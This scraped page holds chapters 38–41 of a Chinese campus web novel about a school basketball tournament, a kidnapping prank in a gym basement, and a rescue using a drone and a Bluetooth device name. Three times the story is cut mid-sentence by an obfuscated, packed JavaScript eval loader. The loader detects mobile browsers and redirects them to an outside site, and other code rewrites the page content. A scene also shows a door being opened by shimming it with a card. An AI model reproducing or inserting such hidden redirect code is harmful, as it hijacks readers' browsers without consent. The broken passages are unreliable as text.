“小鱼,在看什么啊?看得那么认真?”何非亮不知道从哪冒了出来,半带随意、半带好奇地侧过头一看,话音随着目光骤然一顿,好半晌,才像是了然了些什么一样,幽幽道,“哦,在看我啊……” 纪小鱼心虚地差点把手机给扔了。 好在大脑及时地反应了过来——打住!我为什么要心虚!?我明明是在光明正大地看! 天地可鉴,我的内心一片坦荡! 没有什么不可以说的,都可以说! “胡、胡说八道!”纪小鱼一本正经地狡辩道,“我明明是在看这张照片里的风景!可惜被你挡着了,你说你当时跳起来干嘛?” “呵呵、呵呵。”何非亮好像信了一样。 “行行行!看你!看你!就是在看你!”纪小鱼撕下伪装,咬牙切齿道,“我不理解!为什么大家都投你哦?” “没有啊。”何非亮淡定地回道,“我投了你。” “呵呵,”纪小鱼一点也不领情,“不需要!” “唔……已经投了,也不能撤回了。”何非亮一副惋惜遗憾的神情,“那要不你还没投的话,就投我吧?这样就扯平了。” “我不!”纪小鱼开心地给自己投了一票。 38.第三十八章 各显神通 有没有一首歌叫做《星期四》? 如果没有的话,那我来给你现场作一首。 “Thursday的这天有一点Thirsty, Thirsty for water and victory~ oh my victory~ oh my victory~” 纪小鱼正哼着歌,却被何非亮打断了。 “小鱼,先不要膨胀,D班还是挺厉害的。” 纪小鱼一副膨胀得执迷不悟的样子,猖狂得宛如一个反派,“怕什么?这不有我吗?哦呵呵呵呵呵呵!” 何非亮:“……” 星期四下午的比赛如约而至。哨声吹响,比赛开始! 有了A班绝杀F班的战绩在前,D班同学那是万万不敢松懈,对纪小鱼那叫一个严防死守。围追堵截之下,纪小鱼很快就惊恐地发现,自己预先准备的投球点位好像被完全看穿了一样——D班的人根本就不给他任何运球到附近的机会! 眼看进攻时间就要过了,拿着球的纪小鱼只好在心里粗略估算了一番,匆匆将球脱手。 球直愣愣地命中篮筐架沿,遗憾弹飞。 纪小鱼:“……” 梦,碎了。 这已经是今天失误的第三个球了。 “哈哈哈哈哈哈!”球场边传来嚣张无比的笑,十分搞人心态。 可恶! 谁啊!这么没有公德心! 纪小鱼生气地往笑声的来源看去,只见乔冬冬正一脸看好戏地坐在沙滩椅上,鼻梁上架着一副新买的粉色墨镜,笑得妖娆妩媚。 见纪小鱼看过来,乔冬冬好像预料之中、等候多时一样,拿起一面巨大的镜子,兴致勃勃地喊道,“纪小鱼,快看看你现在的衰样!” 纪小鱼险些心肌梗塞。 “哈哈哈哈哈!”伴随着吃瓜群众们的哄堂大笑,纪小鱼的心态完完全全地崩了。 “好兄弟,”吕天明连忙侧身挡在了纪小鱼和乔冬冬的镜子之间,“别听她瞎说!你帅得很!” “真……真的吗?”纪小鱼有被安慰到了一小点。 然而,就在这分神的间隙,D班的控球后卫一个急冲突破了防守,继而传球给了篮网下蹲守的队员。 一个轻松的上篮,D班就这样又赢下了2分! 欢呼响起,掌声如雷。 5:13! 纪小鱼更加沮丧了,连带着身形都有些踉跄。 第一节的黄金十分钟眼看着就要结束了,连连失误的纪小鱼心里罕见地浮现起来“都是我不好的”自责。 “纪小鱼,加油!纪小鱼,加油!” 篮球场边突然响起了一声一声粗犷的加油声。 纪小鱼循声望去,瞳孔巨震。 救命,我看到了什么??? F班的众位篮球队员西装革履,头戴圆顶绅士帽,一边跳着整齐的踢踏舞,一边大声为纪小鱼加油。 另有两名猛男一左一右,手拉着红底白字的横幅——“纪小鱼霹雳无敌天下第一帅!” 啊,这!? 纪小鱼呼吸一窒,目光定格在了“第一”两个字上,心情波涛汹涌、潮拍两岸,久久不能平静。 “陈典!”乔冬冬坐直了身体,柳眉倒竖,一脸不悦,连声音都变得尖锐了些,“怎么回事?上一场你们打A班的时候,我可是帮了你们的!” F班的大块头球员掰着指头认真分析道,“上一场比赛,你的举动很明显是和纪小鱼有私人恩怨。只能说你是在害纪小鱼,称不上是在帮我们,所以我们没有必要领这个情。” “而且,”站在大块头左边的队友补充道,“虽然说敌人的敌人就是朋友,但那是上一场的事情了。现在纪小鱼才是我们真诚的朋友。” “没错!”站在大块头右边的队友也抢着说,“A班必须赢,不然不是显得我们很菜?” 陈典倒是一言不发,只是看向纪小鱼的目光有些许复杂。 赛场上他的确是可敬的对手。 赛场下,他说——“F班的F是Fighter的F,是不会被一次挫折给打败的,加油!” 虽然信上没署名,但陈典的直觉告诉他那就是纪小鱼写的——他向着F班的队员慷慨陈词时,眼角的余光恰好瞄见了纪小鱼在一旁鬼鬼祟祟地偷看。 真是令人难以置信…… 为了印证这个有些荒谬的猜想,在全班同学的翻箱倒柜之下,陈典终于征收到了上次学校印发的期中考试优秀作文大全。对比了一下字迹,果然,信上的字体和纪小鱼范文上的字体一模一样。 陈典:“……” 大块头:“……” F班的众位篮球队员:“……” 呜呜呜,有点感动怎么办? 鼻子都有点酸酸的了…… 那就也来给纪小鱼加油吧! …… 在如此大场面的加油鼓劲下,纪小鱼觉得自己又可以了! 热血燃烧、真火淬炼,破碎的心灵得到重建。 外界的所谓奚落、嘲笑已经再也动摇不了他了。因为他的内心,已经变得更加坚韧强大! 纪小鱼变身! 【纪小鱼】-> 【超级纪小鱼】!!! 赛场上,纪小鱼的身手又变得牛逼坏了。压着哨声投进了A班本场的第一个三分。 8:13! A班士气大振,连带着第二节,也各个都有了超常发挥的姿态。 第二节结束,A班逆风翻盘,比分转为—— 28:23! 中场休息时间。 纪小鱼一边拿着毛巾擦汗,一边对着何非亮不满意地嘟囔道,“诶,我都累死了。你咋还不上,一直坐到这里看戏?诶,不对啊,刚才好像没看见你坐在这,你去哪儿了?” “我上了你又说我抢你风头。”何非亮淡然一笑,话语略微停顿,目光若有所思地转向球场的另一边,“更何况,我觉得事情并不简单……所以去买了点东西,以防万一。” 纪小鱼顺着何非亮的目光望去。 D班的同学浩浩荡荡地占据了球场那边好大一块的风水宝地,端着食堂的餐盘席地而坐。 纪小鱼一头雾水——这是要干嘛,一边看球一边吃饭吗? 都说三个臭皮匠顶个诸葛亮。纪小鱼摇摇手,招呼来蒋小胖和吕天明,问道,“小胖, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16038170|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你知道他们在干嘛吗?” “Have a picnic?”蒋小胖试探地回答道,“那什么,野餐?” 纪小鱼摇摇头,“可是他们的餐盘里没有食物。” 纪小鱼又转头问吕天明,“好兄弟,你知道他们在干嘛吗?” 吕天明直截了当地说,“不知道。” 最后,蒋小胖和吕天明异口同声地问纪小鱼,“小鱼,你知道他们在干嘛吗?” 纪小鱼高深莫测地摸着下巴,垂眸做沉思状,“他们绝对是在酝酿着一个阴谋!” 呃…… 吕天明挠挠头,“啥……啥阴谋啊?” 纪小鱼尴尬地摸了摸鼻梁,“一会你们就知道了。” 果然,没有等太久。第三节开始,双方攻守易位。乔冬冬突然一声令下,“布阵!” 顿时天旋地转、日月无光,只剩下眼前白茫茫一片足以闪瞎眼的明亮。 在绝对的黑暗和绝对的光明面前,人都只能是一个瞎子。 D班同学齐齐举起手中的不锈钢餐盘。 阳光下,锃亮的餐盘化身强力反光板,直把D班的篮筐照成了一圈虚幻的光影。 啊,这! 这还怎么投啊? 纪小鱼闭眼投了一个……咳,当然没中。 这……还敢闭上眼睛投?真不愧是小鱼啊! 何非亮扶额,叫了暂停。 “有两个方案。第一个方案是拖,拖到太阳落山。按照比赛规则,我们下半场还有三次暂停机会,每次60秒,这样就可以拖3分钟。此外我们还可以采取犯规战术……” “NO、NO、NO!”纪小鱼摇了摇食指,对何非亮的这个方案嗤之以鼻,“如果没算错的话,今天太阳的落山时间是17:42,这还早得很呢。而且,我感觉我们队第二节手感可好了,这要是拖到后面手感没了怎么办?” 何非亮微微一笑,“所以我们还有第二个方案。” “第二个方案?”纪小鱼忧愁地扫了一眼明晃晃的太阳,郁闷地撇了撇嘴,“那是什么啊?” “当然是换装备了。” 何非亮变戏法似地变出一个袋子,里面恰好是五副墨镜。 纪小鱼:“……” “哇靠!”吕天明忍不住欢呼,“教练牛逼啊!” “天啊!”蒋小胖的眼里也全是崇拜的小星星,“学神哥哥真是太机智了!呜呜呜,世界上怎么会有这么聪明的人啊!救命啊!” “可是……”徐帆有点不好意思地扶了扶眼镜,“我这个……近视度数有点高。摘了自己的眼镜估计啥也看不清了。” “没事,你先休息一下。” 说罢,何非亮架上了酷酷的墨镜,威风凛凛、意气扬扬。 “……”乔冬冬看着出场的墨镜五人组,银牙紧咬,差点气晕过去。 D班的计划正式破产,一会估计还要被食堂大叔大婶们教训。真是太惨了。 68:51! 就像今天的那首名为《星期四》的歌一样,纪小鱼在星期四的这天,迎了他的victory。 A班,胜! 终于,拿下了通往总决赛的门票! 39.第三十九章 流落荒岛 星期五。 这是一个特别的日子。 比如《鲁滨逊漂流记》中就有一个野人叫做星期五;再比如这一周的星期五,就有一场精彩绝伦的篮球赛——S中篮球赛的总决赛! 哦耶哦耶!又是新的一天,特别的一天! 纪小鱼怀着激动的心情,热情地和何非亮打了个招呼,“早啊,星期五!” 何非亮:“……” 纪小鱼神气地把书包往座位上一放,大剌剌地坐下,看着半睡半醒的何非亮,眼珠一转,忽而露出了神秘的微笑。 “诶,是总决赛诶!”纪小鱼捧着半张脸,兴致盎然地问,“你说我们会赢吗?” 何非亮趴在课桌上,有气无力地撩起眼皮,回了句,“不慌,你晚上就知道了。” 纪小鱼:“……” 晚上?晚上不就出结果了嘛?那还用问他吗?真是的! 何非亮是不是傻哦? 但是他这么说,好像又没什么毛病……确实是晚上就知道了。 纪小鱼摸着下巴沉思了一会,突然眉头一皱,脑子里划过一道清明。 嗯……不对不对,差点被何非亮带偏了。他这个说了等于白说,纯纯的废话文学! 何非亮就是个大傻逼!证据确凿,鉴定完毕! 纪小鱼心满意足地笑了笑,专心地看起了英语书——今天可是英语早读,又要背课文了,一会还有同桌互背环节呢,可不能输给何非亮了。昨天晚上睡前偷背了一下,但今早起来好像又有点忘了/(ㄒoㄒ)/~~ 刚想着,何非亮就敲了敲纪小鱼的英语课本,“我会背啰。” 不等纪小鱼开口,何非亮便不紧不慢地开始背了起来,声音像录音磁带里一样标准流利,又带着少年人特有的温润清朗。 纪小鱼耳朵动了动,不得不承认,何非亮说英语的声音确实还蛮好听的。 纪小鱼努力地盯着课本,生怕漏过了何非亮背错的一个单词。 然而,何非亮连一个“the”都没漏,烦死了。 “我背完了。”何非亮眨了眨眼睛,看向纪小鱼,“你会背了吗?” 纪小鱼额头上落下三道黑线,沉默出卖了他心底的慌张。 “哦,没事。”何非亮不以为意地笑了笑,“那我先睡会,你背好了叫我。” 啊啊啊啊啊! 这话听着咋那么嘲讽呢? “喂,何非亮!”纪小鱼生气地囔囔,“你别得意!你不就是会那什么照、照相机记忆法吗?我……” 话语顿住,纪小鱼的鼻尖泛起一丝酸涩。 呜呜呜,我想哭…… 我也好想学会这个照相机记忆法哦…… 凭什么何非亮都会,我就不会…… 纪小鱼委屈地吸了吸鼻子,熊熊燃烧的气焰弱了下来,心底名为“悲愤”的河流,惊涛拍岸。 嗐!照相机记忆法?那可是纪小鱼日日夜夜努力钻研仍尚未窥得门径的神奇秘法,并且目前还是没有搞清楚到底是眼睛的问题还是脑子的问题。 眼睛和脑子互相甩锅了一阵以后,纪小鱼艰难地咽了口唾沫,终于决定暂且先换一个赛道和何非亮竞争。 “我可不像你那么没志气!我就觉得今天下午的比赛我们肯定赢!因为——”纪小鱼微微眯起眼,自信又得瑟地拍了拍自己的胸膛,像是在迎接着扑面而来的赞赏与荣耀,“有我carry!!!” 鲜花、掌声、聚光灯。 我行、我上、我最棒! 哦呵呵呵呵呵! 不愧是我! “好啊。”何非亮似笑非笑地看着纪小鱼的演出,“靠你咯。” - 然而…… 纪小鱼,说好的carry呢? ̄へ ̄ 篮球场上,人声鼎沸、躁动连连。何非亮面无表情的注视着前方,凉飕飕的目光穿过层叠的人群。 比赛就要开始了,信誓旦旦说要carry的某人,影子都不见了。 手机也打不通。 明明刚才还看到他,忙着给粉丝签名的。 无人机在空中盘旋,横扫过暴风雨前,闷热的低压。 广播中传来甜美的女声,“离比赛开始还有两分钟,请双方选手各就各位,做好准备。” A班的选手们面面相觑,大家的脑子里都升起了一个巨大的问号——纪小鱼去哪里了? “一会替补先顶上,”何非亮指挥道,“我去找找小鱼。” 说完,何非亮深吸了一口气,径直走向了对面B班的区域。 “水是清凉水,风是快哉风。一边喝着水,一边吹着风。” B班的班长张朝不知从哪儿弄来了一张休闲摇椅、一柄风流折扇,独占据着一方风水宝地,观赛吟诗,好不舒爽惬意。看见何非亮来了,闲适的神情散去,戒备地崩起了一点身体。 “张朝。”何非亮嘴角弯起了一点弧度,开门见山地和张朝打了个招呼,“别吹水了。看见我们班的人了吗?” “是吹风不是吹水!”张朝觉得自己拳头硬了,并不想和这种没有优秀诗词鉴赏能力的人说话,但心念一转,又马上换作了笑嘻嘻的模样,把折扇往手掌上一拍收起,幸灾乐祸道,“奇了怪了!何非亮,你的人丢了,找我干嘛?我这又不是失物招领中心。” 沉默了一会,何非亮抿了抿唇,一声戏谑的轻笑,“果然是你。” “什么叫……果然是我?”张朝坐直了一点身体,“我干什么了?你不要空口污蔑、血口喷人!” 何非亮摇了摇头,随机找了个人问,“请问,你看见我们班的人了吗?” “啊?”被抽到的幸运小同学受宠若惊地指了指A班的位置,“在、在对面啊。” 何非亮:“谢谢。” 张朝:“……” 何非亮的目光转回张朝,这次更犀利了些,“在哪?” 张朝闭紧了嘴巴。他也不是傻的,这个时候,多说多错,不如沉默。 何非亮挑眉,“你就这么想赢?” “呵呵,”张朝也不装了,“我只是想看你输。” 何非亮一声轻笑,“那你想得美。” - “呜呜呜,我想打球!有没有人来救我啊!” 比赛的哨声吹响,纪小鱼的心里,淅淅沥沥地下起了雨。 学校的广播实时分享着赛况,A班开局就有点落后了,呈现出士气低迷的样子。不知道为什么何非亮也没有上。两大主力不在先发名单,大家都在猜测A班是看不起对面B班,还是在憋什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16045873|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大招。 唉,外面喧闹的动静他听得还算清楚,可惜他的呐喊,却完全没有鲁迅先生那般有力、那般震撼、那般振聋发聩,仅仅只是变成了一圈小小的回声,在空旷的地下室中,如幽灵般徘徊。 真是太难过了! 纪小鱼眼巴巴地看着紧闭的铁门。 天啊,在过去的那么多年里,自己竟然没有学会开门撬锁这一居家必备的实用技能!实在是太不应该了! 唉,现在就是后悔。 唉,现在后悔也没有用了。 得振作起来! 纪小鱼冷静下来,低头回想了一下自己为什么会在地下室的这件事情。 【“纪小鱼,我是你的头号粉丝,我可以和你合影吗?” “当然可以!” “那边人少,风景也好。我们去那边拍!” “走起!” 路越走越荒僻,人确实是挺少的……就剩他们两个人了。 但是—— “你确定?这、这里风景好?” “特别好呀!” “我们真的要在这里合影吗?” “对呀!现在都流行赛博风嘛!” 纪小鱼挠了挠头。 咱这粉丝的审美还真是清奇。 可以说是十分特别的了。 坑洼水泥地,粗糙石灰墙,空气里飘扬着许多细小的尘埃。目之所及有许多堆叠的红砖、几捆暗淡的钢管,几个“三五成群”、随意摆放的油漆桶和水泥袋,整一个装修现场。两顶黄色安全帽扔在一堆破铜烂铁上,倒是挺显眼的。 哦,说到这个安全帽……听一个不小心学到土木工程专业的表哥说,这个安全帽好像还是分级别的,比如表哥他看到了戴白色安全帽的,就需要敬礼,像对待父亲一样尊敬。唉,表哥也挺不容易的。 话说回来,学校体育馆底下什么时候有这么一个地下室了?没听说过啊!新挖的吗? “呃……”纪小鱼左顾右盼,迟疑道,“这……这是废土风吧?” “好气哦!你是在质疑我的品味吗?” “头号粉丝”突然翻脸,门“砰”的一声,被重重关上了。 “诶,等等!”纪小鱼下意识地追了上去,却被困在了门后。 这门一被关上就自动上了锁。 哇,不是吧! 感受到危机,纪小鱼顿时冷汗涔涔。 “你别紧张,”门外传来声音,声音中略带愧疚,“篮球赛打完以后自然会有人来开门的。” 纪小鱼愣了愣。 不是吧!所以这一切其实是……一个巨大的阴谋!? 头号粉丝是假,一起合影也是假,真实目的是不想让我参赛??? 呜呜呜……为什么!!! 是我打得不好吗??? 还是……是我打得太好了!? 地下室里有点阴冷,寂寞萧索凄清,衬得人更加的孤单。 传说中人少、风景好的地方,现在只剩下他一个人了。 形单影只,茕茕孑立。 非常的孤单,连信号也没有。 】 纪小鱼看向厚重的铁门,勾着手指,十分的纠结。 要是拿砖头把这门砸了,会不会要赔钱? 40.第四十章 科技救援 无人机时而高空俯瞰,时而低空盘旋,轻巧地掠过学校的各个角落。 “咱们学校不大也不小,就这些地方了。你看好了没?”卓影一边熟练地操控着无人机,一边喋喋不休地念叨道,“你确定纪小鱼是被‘绑架’了吗?有没有可能其实是拉肚子去了?然后没带纸?我们这可是文明校园啊!” 何非亮自动过滤掉了耳边的杂音,目光望向屏幕上实时传来的无人机拍摄图像,凝神思考。 学校的平面图已经了然于心,排除了一切不可能以后…… “好吧,好吧,你会这么想肯定是有什么特别的理由。不过哦,我可是把我心爱的无人机都借给你用了哦!还派了那么多记者社的成员去帮你找人。那么你是不是又欠了我一个大大的人情呢?” 停顿了一下,卓影眼珠一转,露出了属于奸商的笑容,“你不是那种把别人对你的好当作理所当然的人吧?你一定会还这个人情的对吧?对吧?” “嗯。”何非亮懒懒地应了一声。 这样的回答完全正中下怀,卓影心中暗爽,果然,和何非亮这样的人打交道,主打的就是一个真诚、直接。 这样想着,卓影嘴上念叨得更起劲了,“至于怎么还呢?嗯,我已经帮你想好了。你看要不下个月的艺术节你唱个歌什么的,然后把独家转播权免费送给我们记者社?诶,你不喜欢唱歌的话,跳舞也可以啊,那种又酷又飒的,保证吸粉无数。跳舞也不喜欢的话,你来个最近很时髦的脱口秀怎么样?啧啧,你看你每天板着一张脸,心里一定有很多想要吐槽的话吧?哈哈哈哈哈!” “你有点吵。”何非亮的目光仍是无波无澜,却在卓影提到艺术节的时候,眼尾微微一动。 “哇,你这是什么态度哦?” “我在吐槽你。” “喂!” 不等卓影继续开口,何非亮就迈着两条长腿,穿过密集的人群,径直往学校体育馆的方向走去了。 愈往前走,眼底胸有成竹的光芒便愈炽。 卓影把无人机的遥控往旁边的助手手上一塞,连忙跟了上去,“诶诶,体育馆那边已经找过了,没有!” 何非亮并没有停下脚步,手机像罗盘一样拿在手里,淡淡道,“信号变弱了。” 卓影掏出手机一看,果然,自己手机的信号不知什么时候只剩两格了。 “啊?可是这和纪小鱼在哪有什么关系啊?” “小鱼大概率在一个信号不好的地方,不然他至少会发个消息。” “哦,有道理!” 再往前走,到体育馆门口的时候,信号连着卓影的眼皮又往下跳了一格。 “有蹊跷,有蹊跷!我记得体育馆以前的信号可好了。”卓影一拍手,恍然道,“哦,我懂了,这一定是用了那个什么信号屏蔽器!啧,这东西我们学校大把,每次大考都用,没什么稀奇的。” 何非亮不置可否地“嗯”了一声。 “诶?”卓影瞥见何非亮手机屏幕上显示的,一看就非常专业的页面,好奇地问道,“你这是什么,一看就很高级的样子。” “手机拨打*3001#12345#*,可以通过RSRP查看到实时信号强度,这样比较精确。” 卓影:“……” 瞧瞧,这说的是人话吗? 完全听不懂啊! 我还是数信号的格子比较快……呃,彻底没信号了! 然而体育馆里冷冷清清,一派寂静,连个人影也无。 观众席上层层排列的的椅子,沉默地包围住了他们。 “说了没人,”卓影四处环顾了一遍,有点丧气地垂下了肩膀,“我的人已经来这里找过了。” “地上有沙子。” “还有点凉风。让我想到了一首古老的歌,你是风儿我是沙……” “你想到就可以了,别唱出来。”何非亮礼貌地制止了卓影,转头问,“体育馆最近装修?” “是啊,”卓影指了指体育馆最中心,新装上的巨型舞台,“为下个月艺术节做准备嘛。” 艺术节年年都是S中的重头戏。毕竟S中的舞蹈团、合唱团和交响乐团都是S中的金字招牌,在全国都称得上出类拔萃;学校艺术中心主任办公室还挂着主任和我国某著名女高音歌唱家的合影。 “不过也没有什么大工程,”卓影掰着手指继续解释道,“所以也就断断续续在周五晚上、周六全天、周日上午稍微动动工,以免影响学生上课和休息。唔,算起来,应该这个月月底前就可以装完了。” “装完还要两个星期,所以他们大概会把装修材料先放在某个不远的地方……”何非亮低头沉吟,在手机上摆弄了一会,眼底突然泛起笑意,“小鱼还不算太傻。知道他在哪了。” “啊?他可以发消息了吗?”卓影疑惑地凑上去一看,只见何非亮的手机停留在了“蓝牙”界面上,显示的可连接设备列表中,一个长长的名字格外惹眼,展示全部以后是——“体育馆舞台幕布后地下室,救救小鱼,诚信v50!” 对哦!卓影眼睛一亮——没有网络也可以用蓝牙!但这样用蓝牙名字求救的方法还是头一回听说!大哥不愧是大哥,这脑袋还真是挺给力的! 何非亮掀开幕布,一道隐秘的可活动墙出现在了幕布后方。按住凹槽把墙拉开,感应灯自动亮起,映入眼帘的赫然是一个向下的通道。 果真是别有洞天! “哦,对对对!我想起来了,体育馆一开始就设想着建一个地下一层,不过这个地下一层一直迟迟没有动工,好几年了。不会吧,这谁能想到啊?纪小鱼还能在这?天啦噜,他真的被人关起来了吗?这、这可是大新闻啊!” 卓影嘀嘀咕咕地抢着往下走,中途还把走到前面的何非亮硬挤到了一边。 何非亮拍了拍衣袖上蹭到的灰,轻轻地“啧”了一声。 可惜,插队的卓影目前已经完完全全地沉浸在了“有个大新闻”的振奋中,只顾着两眼冒光地加快了脚步,并不知道这种没有素质的行为,已经在暗中标好了价格。 离“大新闻”只剩一步之遥。卓影激动地站在门口,用力扭动了几下门把——呃,完全打不开……只好尴尬地回头看向被挤到身后的何非亮,“怎么办,门锁了。” 何非亮淡定地伸出手,“校 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051130|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卡借我。” “哦。”卓影从裤兜里乖乖掏出校园卡,递了上去,嘴上却问道,“你要校卡干嘛,这个又不是刷卡进的。” “不刷怎么知道。” 呃……那原来是这样子刷的吗??? 卓影狐疑地看着何非亮拿着卡片塞进门缝中,顺着锁头,一下又一下地划拉。 “不是吧?这样真的有用吗……” 话音未落,门便弹开了一条缝。 “我去!”卓影膛目结舌,“就这么简单!?这就开、开了?还能这样子……刷卡进?” 这、这怎么可能呢!? 下一刻,还没从震惊中回过神来的卓影,就再一次的被推门而入后的画面直击心灵。 是谁? 头顶安全帽,眼戴防护罩! 是谁? 一脚踏板砖,一手拿电钻! 这样拉风的造型,不知道的还以为纪小鱼在出演【地下最强:基地の绝凶破壊龍】! 三人大眼瞪小眼。 “啊啊啊啊啊!”纪小鱼终于反应过来,一把扔下电钻,抓下防护罩,发疯似的飞扑上来,“太好了,有人来救我了,我可以出去打球了!” 何非亮微笑不语。 下一秒,纪小鱼径直从何非亮和卓影之间的缝隙张牙舞爪地冲了出去。 “呃,”卓影眨了眨眼睛,“就这么跑了,是不是多少有点忘恩负义了?” “嗯。”何非亮难得地和卓影达成了一致。 “纪小鱼,”何非亮冲着走廊喊道,“你要戴着安全帽打球吗?” 一个急刹,走廊上的脚步声渐近,纪小鱼又“噔噔噔”地跑了回来。 “我、我这不是赶时间吗?”纪小鱼摘下安全帽,有点尴尬,偏偏在何非亮的注视下,该说的“谢”字咋也说不出口,对自己为什么会在这个鬼地方一时也没法解释,只好心虚地抹了一把额角的汗,试探地建议道,“这个,有什么事等打完球再说呗?” 何非亮矜持地点头,算是勉为其难地同意了这个说法。接着,又从口袋里拿出校卡,递给卓影,“喏,还你。” 手伸出了一半,又收回。 “不好意思,这张才是你的。” “呃,”卓影接过自己的校卡,莫名道,“原来你自己有校卡啊,借我的干嘛?” 何非亮“呵呵”一笑。 接过校卡的一瞬间,卓影便恍然大悟了——不过,是一种“多么痛的领悟”! 他眼巴巴地看着,校卡上,自己的帅脸,已经斑驳得不成样了……甚至还有点扭曲。 这张卡完成了“刷卡开门”的使命以后,算是就这么“战损”了。 再回想起何非亮刚才的笑容,俨然就是一副阴险狡诈、笑里藏刀的样子。 诶! 刷别人的卡不心疼是吧? 好气哦!还好在学校补办一张校卡不算很难! 再回过神来的时候,何非亮这个衣冠楚楚、道貌岸然的腹黑怪已经和纪小鱼有说有笑地走远了。 唉,受伤的只有留在原地的自己罢了。 卓影:“……” 41.第四十一章 我们联手 跑回球场的时候,篮球赛已经行至中场休息阶段。 23:41! 两节过去,在这样搞笑的分差下,B班的同学已经提前开始庆祝了。 张朝轻摇纸扇,眼角眉梢笑出了一派指点江山的意味,“不错!不错!诗云:‘宜将剩勇追穷寇,不可沽名学霸王’[1]!此时千万戒骄戒躁,一定要抓住有利时局,一鼓作气,乘胜追击!切不可懈怠,给对面任何翻身的机会!” B班的篮球队队长咧嘴笑出两颗大板牙,不住点头应和道,“是是是,对对对!” 何非亮:“呵呵呵。” 这笑声显得格外的不合时宜,突兀地打破了张朝和B班篮球队队长之间其乐融融的氛围。 好像在故意搞人心态一样,怎么听怎么嘲讽。 像是在拐弯抹角地骂人“傻逼”一样。 张朝:“!!!” 大板牙:“???” 纪小鱼:“……” 正可谓是:一笑之间,风云突变;暗涌相撞,猝不及防。纪小鱼平白被包夹在这样剑拔弩张的气氛里,赶紧手插裤兜、低下头,企图将自己伪装成一个毫无存在感的路人。内心里,只觉得自己仿佛在和一只孤独的野鸭对饮。 纪小鱼举杯:“干!” 鸭子:“嘎!” 总之就是这么的尴尬!非常的尴尬! “何、何非亮!?”张朝扭过头,被不知道什么时候冒出来站在身旁的何非亮吓得脸色一白,再一看到何非亮领着的纪小鱼,一张脸又由白转绿,好像见了鬼一样,铁青铁青的,“纪、纪小鱼!!!?” “张兄,”纪小鱼无辜地抬起了一点头,咧嘴露出了一个不大自然的笑,“别来无恙。” 张朝回应得磕磕绊绊,舌头好像被打劫了一样,“别、别来……” “哎呦!”纪小鱼目光聚焦到张朝苦瓜一样、又皱又绿的面色,吓了一跳,连忙关切道,“张兄,你的脸色怎么如此难看?” “啊?难看吗?”张朝干巴巴地笑了几声,飞快地摇着手里的折扇,似乎想要通过这种方式驱散心里翻涌的复杂情绪,“哦,是脸色难看,不是长得难看就好!哈哈哈哈哈!可能——哦,可能是天气太热了的缘故吧?我感觉我有点中暑。嗯,对,中暑!” 纪小鱼点点头,放心下来。 天气的确是还有点从地表蒸腾而来的余热,张兄讲的笑话也的确是很冷、很有降温的效果。不过这么看来,张兄还有力气讲冷笑话,他的中暑应该不太严重。 “小鱼!!!”球场的另一端,突然传来一声极具穿透力的惊叫,打断了纪小鱼的思绪。 纪小鱼顺着声音传来的方位望去,只见蒋小胖直接从选手席的休息座椅上弹了起来,一边指着纪小鱼的方向,一边兴奋地扯着嗓子大喊道,“看!那不是小鱼吗!?” 一时之间,球场上所有同学的目光都倾倒而来。 有那么点……万众瞩目的意思。 “张兄,你多喝热水!我先告辞了!” 纪小鱼眼眶有点发热,匆匆和张朝道了别,顶着众人投射而来的目光,一路飞跑回A班的队伍,一边跑,一边喊道,“兄弟们,我回来啦!!!” “小鱼,”蒋小胖一把鼻涕一把泪地扑上来,给了纪小鱼一个大大的熊抱,“你去哪里了,我们都担心死你了!” “对不起!/(ㄒoㄒ)/~~”纪小鱼也觉得非常抱歉,自己这么关键的人物,怎么偏偏在关键时刻掉链子了呢?真是太不应该了!一会一定要好好表现,将功赎罪! 其他的A班篮球队队员也纷纷围了上来。 奇怪的是,纪小鱼在里面,把头晃了好几圈都没有看见队长吕天明,反而看见了好久没有出现的刘子杉。 “诶?”纪小鱼有点疑惑,“老吕呢?老吕哪去了?怎么没看见?” “唉,说来话长,”一向乐观的卢浩云也半是惆怅、半是感慨地叹了口气,“队长第一节打到一半就受伤了,被送去医务室了。” 张思源补充道,“B班的人今天打得有点凶。” “毕竟是总决赛,谁不想赢?都是拼了命的在打。”卢浩云说着又叹着气摇了摇头,不过一会又缓和了过来,面带欣慰地拍了拍刘子杉的肩膀,“还好老刘还有点良心,关键时刻主动站出来说他来打,不然咱们连五个人都凑不齐了。” 刘子杉有点不好意思地挠了挠头。 自从上次说不打了以后,球确实也没打,但学……好像也有点心不在焉,没有好好学。 眼看着A班一路高歌、节节胜利,又开心,又失落、又挣扎、又后悔。这种五味杂陈的心情一直纠缠着他,一直到刚才他挺身而出的时候,才好像得到了解脱,好像卸下了重担一般变得格外的轻松畅快。 